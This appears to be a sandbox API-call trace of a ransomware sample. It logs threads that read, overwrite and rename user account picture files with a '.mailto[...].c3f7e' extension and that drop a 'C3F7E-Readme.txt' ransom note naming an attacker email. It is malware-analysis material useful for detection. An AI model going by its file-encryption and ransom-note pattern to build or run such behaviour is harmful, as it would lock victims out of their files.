	[0085.406] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44980
	[0085.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0085.408] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.408] NtQueryInformationFile (in: FileHandle=0x1820, IoStatusBlock=0x238bf8dc, FileInformation=0x238bf8b4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x238bf8dc, FileInformation=0x238bf8b4) returned 0x0
	[0085.408] NtSetInformationFile (FileHandle=0x1820, IoStatusBlock=0x238bf8dc, FileInformation=0x238bf8b4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.409] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924bb8) returned 1
	[0085.409] FlushFileBuffers (hFile=0x1820) returned 1
	[0085.410] CloseHandle (hObject=0x1820) returned 1
	[0085.411] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476ef68
	[0085.411] wcscpy (in: _Dest=0x476ef68, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0085.411] wcscat (in: _Dest=0x476ef68, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt"
	[0085.411] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\c3f7e-readme.txt")) returned 0x20
	[0085.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ef68) returned 1
	[0085.411] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc710) returned 1

Thread:
	id = 997
	os_tid = 0x1c04

	[0082.496] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png")) returned 0x20
	[0085.341] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png", dwFileAttributes=0x20) returned 1
	[0085.356] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-40.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc
	[0085.356] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x2393fe9c | out: lpFileSize=0x2393fe9c*=433) returned 1
	[0085.356] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x1ad, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.356] ReadFile (in: hFile=0x15cc, lpBuffer=0x2393fe20, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x2393fe1c, lpOverlapped=0x0 | out: lpBuffer=0x2393fe20*, lpNumberOfBytesRead=0x2393fe1c*=0x4, lpOverlapped=0x0) returned 1
	[0085.369] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0085.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781850
	[0085.370] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781ad0
	[0085.370] NtQuerySystemTime (in: CurrentTime=0x2393fdfc | out: CurrentTime=0x2393fdfc*=132251868121088682) returned 0x0
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xa98bace1
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xab22bb12
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xc2004450
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x6b9c3616
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x5ecd39e1
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x5d53f11a
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x91ee33ad
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xc219d907
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x51b8d98a
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x1c070700
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xae5d9d95
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x33139956
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xe1f08da9
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x73bd2c03
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xae472bba
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x1d2eb441
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x2ab0d0f8
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x3a0c63ac
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xea639449
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x6b593fc
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x25faaa0b
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xd0455954
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x177348a
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x42257132
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x1ddc912d
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x619f7d3a
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0xa3d48feb
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x666cb063
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x874a9ff9
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x40091732
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x9a5cf980
	[0085.370] RtlRandom (in: Seed=0x2393fe08 | out: Seed=0x2393fe08) returned 0x680d6a56
	[0085.380] ReadFile (in: hFile=0x15cc, lpBuffer=0x47db828, nNumberOfBytesToRead=0x1b1, lpNumberOfBytesRead=0x2393fdf8, lpOverlapped=0x0 | out: lpBuffer=0x47db828*, lpNumberOfBytesRead=0x2393fdf8*=0x1b1, lpOverlapped=0x0) returned 1
	[0085.380] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.380] WriteFile (in: hFile=0x15cc, lpBuffer=0x500d818*, nNumberOfBytesToWrite=0x1b1, lpNumberOfBytesWritten=0x2393fdf4, lpOverlapped=0x0 | out: lpBuffer=0x500d818*, lpNumberOfBytesWritten=0x2393fdf4*=0x1b1, lpOverlapped=0x0) returned 1
	[0085.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781828
	[0085.381] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x4781918
	[0085.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781918) returned 1
	[0085.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500d818) returned 1
	[0085.381] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47db828) returned 1
	[0085.382] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04090) returned 1
	[0085.382] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfb1e0) returned 1
	[0085.382] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d780b0
	[0085.382] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0085.382] WriteFile (in: hFile=0x15cc, lpBuffer=0x500cbe8*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x2393fe5c, lpOverlapped=0x0 | out: lpBuffer=0x500cbe8*, lpNumberOfBytesWritten=0x2393fe5c*=0x107, lpOverlapped=0x0) returned 1
	[0085.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x500cbe8) returned 1
	[0085.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77db0) returned 1
	[0085.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781990) returned 1
	[0085.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d780b0) returned 1
	[0085.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781828) returned 1
	[0085.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781850) returned 1
	[0085.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47819b8) returned 1
	[0085.384] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4781878) returned 1
	[0085.384] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x4924bb8
	[0085.384] wcscpy (in: _Dest=0x4924bb8, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png"
	[0085.384] wcscat (in: _Dest=0x4924bb8, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0085.384] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x2393fe14, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-40.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0085.384] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x2e44980
	[0085.387] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e44980) returned 1
	[0085.387] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47ea3a0) returned 1
	[0085.387] NtQueryInformationFile (in: FileHandle=0x15cc, IoStatusBlock=0x2393fe20, FileInformation=0x2393fdf8, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x2393fe20, FileInformation=0x2393fdf8) returned 0x0
	[0085.387] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x2393fe20, FileInformation=0x2393fdf8, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.388] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4924bb8) returned 1
	[0085.388] FlushFileBuffers (hFile=0x15cc) returned 1
	[0085.389] CloseHandle (hObject=0x15cc) returned 1
	[0085.390] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476ef68
	[0085.390] wcscpy (in: _Dest=0x476ef68, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0085.390] wcscat (in: _Dest=0x476ef68, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt"
	[0085.390] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\c3f7e-readme.txt")) returned 0x20
	[0085.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ef68) returned 1
	[0085.390] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bc990) returned 1

Thread:
	id = 998
	os_tid = 0x1c08

	[0082.496] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png")) returned 0x20
	[0082.496] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png", dwFileAttributes=0x20) returned 1
	[0082.497] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user-48.png"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x15cc
	[0082.497] GetFileSizeEx (in: hFile=0x15cc, lpFileSize=0x239bfd88 | out: lpFileSize=0x239bfd88*=501) returned 1
	[0082.497] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x1f1, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.497] ReadFile (in: hFile=0x15cc, lpBuffer=0x239bfd0c, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0x239bfd08, lpOverlapped=0x0 | out: lpBuffer=0x239bfd0c*, lpNumberOfBytesRead=0x239bfd08*=0x4, lpOverlapped=0x0) returned 1
	[0082.498] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e337f8
	[0082.498] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.498] NtQuerySystemTime (in: CurrentTime=0x239bfce8 | out: CurrentTime=0x239bfce8*=132251868092338620) returned 0x0
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xa5c7bb00
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x7d262311
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xd68311a4
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x89bf8be5
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x40a64c06
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x312c0ee8
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x97acd80
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x183d705f
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x9d7af31c
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x3c93644e
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x5af3dd4c
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xc5a7b907
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xd75da26b
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x2c50b9f
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x35649446
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x3fa68f83
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x6039f659
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xa851c8f6
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x2ec08515
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x89d18d89
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xc61532ff
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x45cd56a0
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x3a55df74
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x2a1819c7
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xc329fb6b
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x1e17f1b9
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x61bdbe2c
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x61d85eb5
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x49d73347
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xeff45412
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0x84d6b93e
	[0082.498] RtlRandom (in: Seed=0x239bfcf4 | out: Seed=0x239bfcf4) returned 0xf93c6b41
	[0082.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04450) returned 1
	[0082.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x40) returned 0x2dfac40
	[0082.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x70) returned 0x2e045b8
	[0082.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.507] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.507] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x4f9afc8
	[0082.508] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xc800) returned 0x48dc828
	[0082.508] ReadFile (in: hFile=0x15cc, lpBuffer=0x4f9afc8, nNumberOfBytesToRead=0x1f5, lpNumberOfBytesRead=0x239bfce4, lpOverlapped=0x0 | out: lpBuffer=0x4f9afc8*, lpNumberOfBytesRead=0x239bfce4*=0x1f5, lpOverlapped=0x0) returned 1
	[0082.508] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.508] WriteFile (in: hFile=0x15cc, lpBuffer=0x48dc828*, nNumberOfBytesToWrite=0x1f5, lpNumberOfBytesWritten=0x239bfce0, lpOverlapped=0x0 | out: lpBuffer=0x48dc828*, lpNumberOfBytesWritten=0x239bfce0*=0x1f5, lpOverlapped=0x0) returned 1
	[0082.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33898
	[0082.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x48dc828) returned 1
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4f9afc8) returned 1
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e045b8) returned 1
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfac40) returned 1
	[0082.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d77e40
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x23) returned 0x2d77fc0
	[0082.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33aa0
	[0082.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x20) returned 0x2e33d70
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33d70) returned 1
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e04d38) returned 1
	[0082.511] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2dfad60) returned 1
	[0082.511] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x107) returned 0x4716f40
	[0082.511] SetFilePointerEx (in: hFile=0x15cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0082.511] WriteFile (in: hFile=0x15cc, lpBuffer=0x4716f40*, nNumberOfBytesToWrite=0x107, lpNumberOfBytesWritten=0x239bfd48, lpOverlapped=0x0 | out: lpBuffer=0x4716f40*, lpNumberOfBytesWritten=0x239bfd48*=0x107, lpOverlapped=0x0) returned 1
	[0082.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x4716f40) returned 1
	[0082.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77fc0) returned 1
	[0082.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33aa0) returned 1
	[0082.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2d77e40) returned 1
	[0082.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33898) returned 1
	[0082.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e337f8) returned 1
	[0082.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e339d8) returned 1
	[0082.515] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x2e33a28) returned 1
	[0082.515] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xbc) returned 0x47cba58
	[0082.515] wcscpy (in: _Dest=0x47cba58, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png"
	[0082.515] wcscat (in: _Dest=0x47cba58, _Source=".mailto[kkeessnnkkaa@cock.li].c3f7e" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.mailto[kkeessnnkkaa@cock.li].c3f7e") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.mailto[kkeessnnkkaa@cock.li].c3f7e"
	[0082.515] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtPathName=0x239bfd00, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\ProgramData\\Microsoft\\User Account Pictures\\user-48.png.mailto[kkeessnnkkaa@cock.li].c3f7e", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1
	[0082.515] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0xd2) returned 0x47730f0
	[0082.515] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x239bfcf8, FileInformation=0x47730f0, Length=0xd2, FileInformationClass=0xa) returned 0x0
	[0085.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47730f0) returned 1
	[0085.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47185c0) returned 1
	[0085.310] NtQueryInformationFile (in: FileHandle=0x15cc, IoStatusBlock=0x239bfd0c, FileInformation=0x239bfce4, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0x239bfd0c, FileInformation=0x239bfce4) returned 0x0
	[0085.310] NtSetInformationFile (FileHandle=0x15cc, IoStatusBlock=0x239bfd0c, FileInformation=0x239bfce4, Length=0x28, FileInformationClass=0x4) returned 0x0
	[0085.310] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47cba58) returned 1
	[0085.311] FlushFileBuffers (hFile=0x15cc) returned 1
	[0085.311] CloseHandle (hObject=0x15cc) returned 1
	[0085.313] RtlAllocateHeap (HeapHandle=0x2d50000, Flags=0x8, Size=0x82) returned 0x476ef68
	[0085.313] wcscpy (in: _Dest=0x476ef68, _Source="C:\\ProgramData\\Microsoft\\User Account Pictures\\" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\"
	[0085.313] wcscat (in: _Dest=0x476ef68, _Source="C3F7E-Readme.txt" | out: _Dest="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt") returned="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt"
	[0085.313] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\c3f7e-readme.txt")) returned 0xffffffff
	[0085.313] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\C3F7E-Readme.txt" (normalized: "c:\\programdata\\microsoft\\user account pictures\\c3f7e-readme.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x15cc
	[0085.325] WriteFile (in: hFile=0x15cc, lpBuffer=0x2d7c938*, nNumberOfBytesToWrite=0x6f6, lpNumberOfBytesWritten=0x239bfd08, lpOverlapped=0x0 | out: lpBuffer=0x2d7c938*, lpNumberOfBytesWritten=0x239bfd08*=0x6f6, lpOverlapped=0x0) returned 1
	[0085.328] CloseHandle (hObject=0x15cc) returned 1
	[0085.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x476ef68) returned 1
	[0085.328] RtlFreeHeap (HeapHandle=0x2d50000, Flags=0x0, BaseAddress=0x47bca10) returned 1

Thread:
	id = 999
	os_tid = 0x1c0c

	[0082.510] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp" (normalized: "c:\\programdata\\microsoft\\user account pictures\\user.bmp")) returned 0x20
	[0085.308] SetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\User Account Pictures\\user.bmp", dwFileAttributes=0x20) returned 1
